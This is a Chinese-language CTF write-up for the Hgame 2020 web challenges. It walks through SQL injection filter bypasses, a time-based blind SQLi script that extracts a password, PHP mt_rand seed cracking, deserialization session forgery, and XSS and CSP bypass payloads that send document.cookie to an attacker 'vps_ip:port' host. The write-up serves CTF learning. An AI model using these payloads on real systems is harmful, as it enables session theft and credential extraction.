Hgame2020 writeup

每天摸鱼毕设,都没怎么打ctf了,也没怎么学习。。做一下hgame看看新鲜事物

web

week1

Cosmos 的博客

1

想到git泄漏,扫一下站

2

访问http://cosmos.hgame.n3ko.co/.git/config

3

发现了一个github地址,访问查找提交历史拿到flag

接 头 霸 王

You need to come from https://vidar.club/.

1
Referer: https://vidar.club/

You need to visit it locally.

1
2
Referer: https://vidar.club/
X-Forwarded-For:127.0.0.1

You need to use Cosmos Brower to visit.

1
2
3
Referer: https://vidar.club/
X-Forwarded-For:127.0.0.1
User-Agent: Cosmos

看的Your should use POST method :) ,修改get为post

The flag will be updated after 2077, please wait for it patiently.

1
2
3
4
Referer: https://vidar.club/
X-Forwarded-For:127.0.0.1
User-Agent: Cosmos
If-unModified-Since: Fri, 01 Jan 2078 00:00:00 GMT

Code World

访问直接就是404,在控制台看到这一句

1
This new site is building....But our stupid developer Cosmos did 302 jump to this page..F**k!

访问原网页,发现405,修改请求方式,按要求提交参数即可getflag

🐔尼泰玫

抓包修改分数提交即可

week2

Cosmos的博客后台

存在文件读取

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
include "config.php";
session_start();

//Only for debug
if (DEBUG_MODE){
if(isset($_GET['debug'])) {
$debug = $_GET['debug'];
if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
die("args error!");
}
eval("var_dump($$debug);");
}
}

if(isset($_SESSION['username'])) {
header("Location: admin.php");
exit();
}
else {
if (isset($_POST['username']) && isset($_POST['password'])) {
if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){
$_SESSION['username'] = $_POST['username'];
header("Location: admin.php");
exit();
}
else {
echo "用户名或密码错误";
}
}
}
?>

由此可以看到,我们可以通过debug参数读取username和password,并且password存在弱类型比较

登进后台看见一个ssrf,使用file协议读取根目录下的flag

1
file://localhost/../../../../flag

Cosmos的留言板-1

简单的sql注入,测试一下,过滤了#、空格、select,使用%23/**/、双写绕过

1
2
3
4
5
6
7
8
9
10
?id=-1'/**/union/**/selselectect/**/database()%23
easysql

?id=-1'/**/union/**/selselectect/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='easysql'%23
f1aggggggggggggg,messages

?id=-1'/**/union/**/selselectect/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='f1aggggggggggggg'%23
fl4444444g

?id=-1'/**/union/**/selselectect/**/fl4444444g/**/from/**/f1aggggggggggggg%23

Cosmos的新语言

访问/mycode获得源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
function encrypt($str){
$result = '';
for($i = 0; $i &lt; strlen($str); $i++){
$result .= chr(ord($str[$i]) + 1);
}
return $result;
}

echo(base64_encode(base64_encode(strrev(str_rot13(base64_encode(encrypt(encrypt(base64_encode(strrev(base64_encode($_SERVER['token'])))))))))));

if(@$_POST['token'] === $_SERVER['token']){
echo($_SERVER['flag']);
}

这里有一点要注意一下的,就是10个加密函数是会变的,不是固定的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# -*- coding:utf8 -*-
import requests
import base64
import HTMLParser

# 解密函数
def decrypt(cipher):
result = ''
for i in cipher:
result += chr(ord(i) - 1)
return result

def rot13(cipher):
return cipher.decode('rot_13')

while 1:
# 获取密文
url = "http://adb0c2a102.php.hgame.n3ko.co/"
r = requests.get(url)
h = HTMLParser.HTMLParser()
firstIndex = r.content.find('</code><br>')
lastIndex = r.content.find('<br></body>')
token = h.unescape(r.text[firstIndex + 12:lastIndex - 20])

res = requests.get(url+'/mycode')
code = res.content
firstIndex = code.find('echo(')
lastIndex = code.rfind("($_SERVER['token']")
func = code[firstIndex:lastIndex]
firstIndex = func.find('echo(')
if('base64_encode' not in code):
for i in range(10):
methodIndex = func.rfind('(')
print func[methodIndex:]
if ('base64_encode' in func[methodIndex:]):
token = base64.b64decode(token)
elif ('strrev' in func[methodIndex:]):
token = token[::-1]
elif ('str_rot13' in func[methodIndex:]):
token = rot13(token)
elif ('encrypt' in func[methodIndex:]):
token = decrypt(token)
func = func[firstIndex:methodIndex]
print token
f = requests.post(url, data={'token': token})
print f.content
else:
continue

Cosmos的聊天室

Xss,闭合的标签会被过滤掉,script会被替换成别的字符,输入的内容会被转换成大写,用html实体编码绕过

1
<img onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41; <img src=x

构造payload拿管理员token

1
s=createElement('script');body.appendChild(s);s.src='http://vps_ip:port/?'+document.cookie

base64编码放入atob函数中

1
eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8vdnBzX2lwOnBvcnQvPycrZG9jdW1lbnQuY29va2ll'))

html实体编码放入onerror

1
<img onerror=&#101;&#118;&#97;&#108;&#40;&#97;&#116;&#111;&#98;&#40;&#39;&#99;&#122;&#49;&#106;&#99;&#109;&#86;&#104;&#100;&#71;&#86;&#70;&#98;&#71;&#86;&#116;&#90;&#87;&#53;&#48;&#75;&#67;&#100;&#122;&#89;&#51;&#74;&#112;&#99;&#72;&#81;&#110;&#75;&#84;&#116;&#105;&#98;&#50;&#82;&#53;&#76;&#109;&#70;&#119;&#99;&#71;&#86;&#117;&#90;&#69;&#78;&#111;&#97;&#87;&#120;&#107;&#75;&#72;&#77;&#112;&#79;&#51;&#77;&#117;&#99;&#51;&#74;&#106;&#80;&#83;&#100;&#111;&#100;&#72;&#82;&#119;&#79;&#105;&#56;&#118;&#100;&#110;&#66;&#122;&#88;&#50;&#108;&#119;&#79;&#110;&#66;&#118;&#99;&#110;&#81;&#118;&#80;&#121;&#99;&#114;&#90;&#71;&#57;&#106;&#100;&#87;&#49;&#108;&#98;&#110;&#81;&#117;&#89;&#50;&#57;&#118;&#97;&#50;&#108;&#108;&#39;&#41;&#41; <img src=x

1

修改token访问getflag

week3

序列之争 - Ordinal Scale

访问/source.zip得到源代码,当rank为1时即可getflag,通过审计代码发现存在格式化字符串漏洞和反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Game
{
private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';
public $welcomeMsg = '%s, Welcome to Ordinal Scale!';

private $sign = '';
public $rank;

public function __construct($playerName){
$_SESSION['player'] = $playerName;
if(!isset($_SESSION['exp'])){
$_SESSION['exp'] = 0;
}
$data = [$playerName, $this->encryptKey];
$this->init($data);
$this->monster = new Monster($this->sign);
$this->rank = new Rank();
}

private function init($data){
foreach($data as $key => $value){
$this->welcomeMsg = sprintf($this->welcomeMsg, $value);
$this->sign .= md5($this->sign . $value);
}
}
}

在init函数中可以看到playerNameencryptKey做了一个循环,并且sprintf没有任何防护,如果我们playerName输入%s,第二次循环就会输出encryptKey

1

得到key就可以算出sign

1
2
3
4
5
6
7
8
9
10
<?php
$encryptkey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';
$sign = '';
$playname = 'glarcy';
$data = [$playname, $encryptkey];
foreach ($data as $key => $value) {
$sign .= md5($sign . $value);
}
echo $sign;
//aff6ecd6e060051b65fc173e573d89e4b3b6e30320e27165a7c1b8af30cc4f94

在rank类发现__destruct魔术方法,当反序列化时,$this->rank就会赋值给$_SESSION['rank']

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function __destruct(){
// 确保程序是跑在服务器上的!
$this->serverKey = $_SERVER['key'];
if($this->key === $this->serverKey){
$_SESSION['rank'] = $this->rank;
}else{
// 非正常访问
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}

在monster类发现了unserialize函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private $monsterData;
private $encryptKey;

public function __construct($key){
$this->encryptKey = $key;
if(!isset($_COOKIE['monster'])){
$this->Set();
return;
}

$monsterData = base64_decode($_COOKIE['monster']);
if(strlen($monsterData) > 32){
$sign = substr($monsterData, -32);
$monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
if(md5($monsterData . $this->encryptKey) === $sign){
$this->monsterData = unserialize($monsterData);
}else{
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}

$this->Set();
}

我们只要根据以下代码构造monster值即可

1
2
3
4
private function Save(){
$sign = md5(serialize($this->monsterData) . $this->encryptKey);
setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
}

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Rank
{
private $rank=2;

public function __construct(){
$this->rank = 1;
}

}
$new = new Rank();
$encryptKey = "aff6ecd6e060051b65fc173e573d89e4b3b6e30320e27165a7c1b8af30cc4f94";
$sign = md5(serialize($new) . $encryptKey);
$payload = base64_encode(serialize($new) . $sign);
echo $payload;

2

二发入魂!

爆破种子,搜索可知通过两个随机数可以出一个种子,参考以下文章

https://www.anquanke.com/post/id/196831

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
# -*- coding:utf8 -*-
import requests
import json
import random
import sys

N = 624
M = 397

MAX = 0xffffffff
MOD = MAX + 1

# STATE_MULT * STATE_MULT_INV = 1 (mod MOD)
STATE_MULT = 1812433253
STATE_MULT_INV = 2520285293

MT_RAND_MT19937 = 1
MT_RAND_PHP = 0


def php_mt_initialize(seed):
"""Creates the initial state array from a seed.
"""
state = [None] * N
state[0] = seed & 0xffffffff;
for i in range(1, N):
r = state[i - 1]
state[i] = (STATE_MULT * (r ^ (r >> 30)) + i) & MAX
return state


def undo_php_mt_initialize(s, p):
"""From an initial state value `s` at position `p`, find out seed.
"""
# We have:
# state[i] = (1812433253U * ( state[i-1] ^ (state[i-1] >> 30) + i )) % 100000000
# and:
# (2520285293 * 1812433253) % 100000000 = 1 (Modular mult. inverse)
# => 2520285293 * (state[i] - i) = ( state[i-1] ^ (state[i-1] >> 30) ) (mod 100000000)
for i in range(p, 0, -1):
s = _undo_php_mt_initialize(s, i)
return s


def _undo_php_mt_initialize(s, i):
s = (STATE_MULT_INV * (s - i)) & MAX
return s ^ s >> 30


def php_mt_rand(s1):
"""Converts a merged state value `s1` into a random value, then sent to the
user.
"""
s1 ^= (s1 >> 11)
s1 ^= (s1 << 7) & 0x9d2c5680
s1 ^= (s1 << 15) & 0xefc60000
s1 ^= (s1 >> 18)
return s1


def undo_php_mt_rand(s1):
"""Retrieves the merged state value from the value sent to the user.
"""
s1 ^= (s1 >> 18)
s1 ^= (s1 << 15) & 0xefc60000

s1 = undo_lshift_xor_mask(s1, 7, 0x9d2c5680)

s1 ^= s1 >> 11
s1 ^= s1 >> 22

return s1


def undo_lshift_xor_mask(v, shift, mask):
"""r s.t. v = r ^ ((r << shift) & mask)
"""
for i in range(shift, 32, shift):
v ^= (bits(v, i - shift, shift) & bits(mask, i, shift)) << i
return v


def bits(v, start, size):
return lobits(v >> start, size)


def lobits(v, b):
return v & ((1 << b) - 1)


def bit(v, b):
return v & (1 << b)


def bv(v, b):
return bit(v, b) >> b


def php_mt_reload(state, flavour):
s = state
for i in range(0, N - M):
s[i] = _twist_php(s[i + M], s[i], s[i + 1], flavour)
for i in range(N - M, N - 1):
s[i] = _twist_php(s[i + M - N], s[i], s[i + 1], flavour)


def _twist_php(m, u, v, flavour):
"""Emulates the `twist` and `twist_php` #defines.
"""
mask = 0x9908b0df if (u if flavour == MT_RAND_PHP else v) & 1 else 0
return m ^ (((u & 0x80000000) | (v & 0x7FFFFFFF)) >> 1) ^ mask


def undo_php_mt_reload(S000, S227, offset, flavour):
# define twist_php(m,u,v) (m ^ (mixBits(u,v)>>1) ^ ((uint32_t)(-(int32_t)(loBit(u))) & 0x9908b0dfU))
# m S000
# u S227
# v S228
X = S000 ^ S227

# This means the mask was applied, and as such that S227's LSB is 1
s22X_0 = bv(X, 31)
# remove mask if present
if s22X_0:
X ^= 0x9908b0df

# Another easy guess
s227_31 = bv(X, 30)
# remove bit if present
if s227_31:
X ^= 1 << 30

# We're missing bit 0 and bit 31 here, so we have to try every possibility
s228_1_30 = (X << 1)
for s228_0 in range(2):
for s228_31 in range(2):
if flavour == MT_RAND_MT19937 and s22X_0 != s228_0:
continue
s228 = s228_0 | s228_31 << 31 | s228_1_30

# Check if the results are consistent with the known bits of s227
s227 = _undo_php_mt_initialize(s228, 228 + offset)
if flavour == MT_RAND_PHP and bv(s227, 0) != s22X_0:
continue
if bv(s227, 31) != s227_31:
continue

# Check if the guessed seed yields S000 as its first scrambled state
rand = undo_php_mt_initialize(s228, 228 + offset)
state = php_mt_initialize(rand)
php_mt_reload(state, flavour)

if not (S000 == state[offset]):
continue

return rand
return None


def main(_R000, _R227, offset, flavour):
# Both were >> 1, so the leftmost byte is unknown
_R000 <<= 1
_R227 <<= 1

for R000_0 in range(2):
for R227_0 in range(2):
R000 = _R000 | R000_0
R227 = _R227 | R227_0
S000 = undo_php_mt_rand(R000)
S227 = undo_php_mt_rand(R227)
seed = undo_php_mt_reload(S000, S227, offset, flavour)
if seed:
return seed


def test_do_undo(do, undo):
for i in range(10000):
rand = random.randrange(1, MAX)
done = do(rand)
undone = undo(done)
if not rand == undone:
print(f"-- {i} ----")
print(bin(rand).rjust(34))
print(bin(undone).rjust(34))
break


def test():
test_do_undo(
php_mt_initialize,
lambda s: undo_php_mt_initialize(s[227], 227)
)
test_do_undo(
php_mt_rand,
undo_php_mt_rand
)
exit()

url = 'https://twoshot.hgame.n3ko.co/'
req = requests.session()
res = req.get(url+"random.php?times=228")
arr = json.loads(res.content)
# print arr
#main函数中的参数值分别为 某个随机数值 与此相隔226个随机数的随机数值 第一个参数中的随机数前面的随机数个数 php5为0,php7为1
seed = main(arr[0],arr[227],0,0)
r = req.post(url+"verify.php", data={"ans":seed})
print(r.content)

Cosmos的二手市场

条件竞争,使用burpsuite低线程买入,高线程卖出即可轻轻松松获得一个亿

1

Cosmos的留言板-2

delete_id处存在时间盲注,sleep有时候能用,有时候又不能用,干脆直接都改成benchmark了,name字段爆破了一下长度,发现104位,我人晕了,爆了前10位发现第一个值就是我们要的,于是name和password就都只爆第一个值了,爆出用户名和密码就可以直接登录拿flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# -*- coding:utf8 -*-
import requests
import time

url = "http://139.199.182.61:19999/index.php?method=delete&delete_id=%s%%23"
cookie = {"PHPSESSID":"actlgha6oln1pc6hkb4jdm05k1"}

# database_len
i = 0
while 1:
payload = "if(length(database())%%3d%s,benchmark(30000000,sha(1)),1)" % str(i)
req_url = url % (payload)
start_time = time.time()
res = requests.get(req_url,cookies=cookie)
if time.time() - start_time >= 4:
print "database_len: " + str(i)
break
i += 1

# babysql
database = ""
for i in range(1,8):
for j in range(33,127):
payload = "if(ascii(substr(database(),%s,1))%%3d%s,benchmark(30000000,sha(1)),1)" % (str(i),str(j))
req_url = url % (payload)
start_time = time.time()
res = requests.get(req_url, cookies=cookie)
if time.time() - start_time >= 4:
database += chr(j)
break
print "database_name: " + database

# table_len 13
i = 0
while 1:
payload = "if(length((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%%3d'babysql'))%%3d%s,benchmark(30000000,sha(1)),1)" % str(i)
req_url = url % (payload)
start_time = time.time()
res = requests.get(req_url,cookies=cookie)
if time.time() - start_time >= 4:
print "table_len: " + str(i)
break
i += 1

# messages,user
table = ""
for i in range(1,14):
for j in range(33,127):
payload = "if(ascii(substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%%3d'babysql'),%s,1))%%3d%s,benchmark(30000000,sha(1)),1)" % (str(i),str(j))
req_url = url % (payload)
start_time = time.time()
res = requests.get(req_url, cookies=cookie)
if time.time() - start_time >= 4:
table += chr(j)
break
print "table_name: "+table

# column_len 16
i = 0
while 1:
payload = "if(length((select+group_concat(column_name)+from+information_schema.columns+where+table_name%%3d'user'))%%3d%s,benchmark(30000000,sha(1)),1)" % str(i)
req_url = url % (payload)
start_time = time.time()
res = requests.get(req_url,cookies=cookie)
if time.time() - start_time >= 4:
print "column_len: " + str(i)
break
i += 1

# id,name,password
column = ""
for i in range(1,17):
for j in range(33,127):
payload = "if(ascii(substr((select+group_concat(column_name)+from+information_schema.columns+where+table_name%%3d'user'),%s,1))%%3d%s,benchmark(30000000,sha(1)),1)" % (str(i),str(j))
req_url = url % (payload)
start_time = time.time()
res = requests.get(req_url, cookies=cookie)
if time.time() - start_time >= 4:
column += chr(j)
break
print "column_name: " + column

# len(name)=6 len(password)=28
# i = 0
# while 1:
# payload = "if(length((select+password+from+user+limit+0,1))%%3d%s,benchmark(30000000,sha(1)),1)" % str(i)
# req_url = url % (payload)
# # print req_url
# start_time = time.time()
# res = requests.get(req_url,cookies=cookie)
# if time.time() - start_time >= 4:
# print i
# break
# i += 1

# cosmos
# f1FXOCnj26Fkadzt4Sqynf6O7CgR
password = ""
for i in range(1,29):
for j in range(33,127):
payload = "if(ascii(substr((select+password+from+user+limit+0,1),%s,1))%%3d%s,benchmark(30000000,sha(1)),1)" % (str(i),str(j))
req_url = url % (payload)
start_time = time.time()
res = requests.get(req_url, cookies=cookie)
if time.time() - start_time >= 4:
password += chr(j)
break
print "password: " + password

Cosmos的聊天室2.0

存在CSP,限制了内联的js代码,并且限制了只能从同域下加载静态资源⽂件。在实际应⽤中,遇到这种CSP⼀般是找该站是否有⽂件上传点,也可以同源下有没有可以执⾏任意 JS 代码的 evil.js ⽂件

1
Content-Security-Policy: default-src 'self'; script-src 'self'

通过抓包发现存在/send?message=,并且此接口不存在CSP,于是构造payload

1
<scriscriptpt src="/send?message=window.open('http://vps_ip:port/?'%2bdocument.cookie)"></scscriptript>

2

修改token访问flag即可